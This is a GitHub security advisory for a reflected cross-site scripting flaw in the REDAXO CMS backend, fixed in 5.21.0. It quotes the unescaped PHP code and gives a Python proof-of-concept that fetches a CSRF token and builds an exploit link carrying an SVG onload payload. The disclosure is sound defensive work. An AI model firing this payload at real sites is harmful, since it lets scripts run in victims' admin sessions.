GHSA-xq4j-g85q-wf97: Redaxo/source Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xq4j-g85q-wf97",
  "modified" : "2026-04-10T19:40:42Z",
  "published" : "2026-04-10T19:40:42Z",
  "aliases" : [ ],
  "summary" : "REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)",
  "details" : "### Summary\n\nA **reflected XSS** vulnerability has been identified in the REDAXO backend. The `function` parameter is concatenated into an API error message and rendered without HTML escaping.\n\n---\n\n### Details\n\n**Root cause**\nUser input `function` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.\n\n**Vulnerable code (`redaxo/src/core/lib/packages/api_package.php`) :**\n\n```php\n$function = rex_request('function', 'string');\nthrow new rex_api_exception('Unknown package function \"' . $function . '\"!');\n```\n\n**Sink (`redaxo/src/core/lib/view.php`) :**\n\n```php\nreturn '<div class=\"' . $cssClassMessage . '\">' . $message . '</div>';\n```\n\n**Source -> sink flow**\n\n* Source: `function` (GET)\n* Propagation: concatenated into the exception message\n* Sink: rendered via `rex_view::error()` -> `rex_view::message()` without escaping\n\n**Authentication required:** yes (backend session)\n\n---\n\n### PoC - Exploit\n\n```python\n#!/usr/bin/env python3\nimport re\nimport urllib.parse\nimport requests\n\nTARGET_URL = \"http://poc.local/\"\nBACKEND_PATH = \"redaxo/index.php\"\n\n# A valid backend PHP session id (must belong to a user who can access the Packages page)\nSESSION_ID = \"xxxxxxxxxxxxxxxxxxxxx\n\nhttps://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598\n\n\"\n\nVERIFY_SSL = False\nTIMEOUT = 15\n\nPAYLOAD = '\\\\\"><svg/onload=alert(\"Pwned\")>'\n\ndef build_backend_url() -> str:\n    base = TARGET_URL.rstrip('/')\n    return f\"{base}/{BACKEND_PATH.lstrip('/')}\"\n\n\ndef extract_api_csrf(html_text: str) -> str:\n    m = re.search(r'rex-api-call=package[^\\\"]+_csrf_token=([^&\\\"\\s]+)', html_text)\n    if not m:\n        raise RuntimeError(\"CSRF token for rex_api_call=package was not found in the page HTML.\")\n    return m.group(1)\n\ndef set_session_cookie(session: requests.Session) -> None:\n    parsed = urllib.parse.urlparse(TARGET_URL)\n    if parsed.hostname:\n        session.cookies.set(\"PHPSESSID\", SESSION_ID, domain=parsed.hostname, path=\"/\")\n\n\ndef main() -> None:\n    backend_url = build_backend_url()\n\n    s = requests.Session()\n    set_session_cookie(s)\n\n    # Backend session required (role with access to packages)\n    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)\n    if \"rex-page-login\" in r0.text or \"rex_user_login\" in r0.text:\n        print(\"[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.\")\n        return\n\n    r = s.get(backend_url, params={\"page\": \"packages\"}, timeout=TIMEOUT, verify=VERIFY_SSL)\n    if r.status_code != 200:\n        print(f\"[!] Failed to access packages page (HTTP {r.status_code}).\")\n        return\n\n    api_token = extract_api_csrf(r.text)\n\n    params = {\n        \"page\": \"packages\",\n        \"rex-api-call\": \"package\",\n        \"function\": PAYLOAD,\n        \"package\": \"nonexistent\",\n        \"_csrf_token\": api_token,\n    }\n\n    exploit_url = f\"{backend_url}?{urllib.parse.urlencode(params)}\"\n    print(exploit_url)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nTo run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.\n\n---\n\n### Impact\n\n* **Confidentiality:** Low :  no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.\n* **Integrity:** Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.\n* **Availability:** Low :  the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.\n\n### Demo\nhttps://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "redaxo/source"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.21.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/security/advisories/GHSA-xq4j-g85q-wf97"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/redaxo/core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/releases/tag/5.21.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:40:42Z",
    "nvd_published_at" : null
  }
}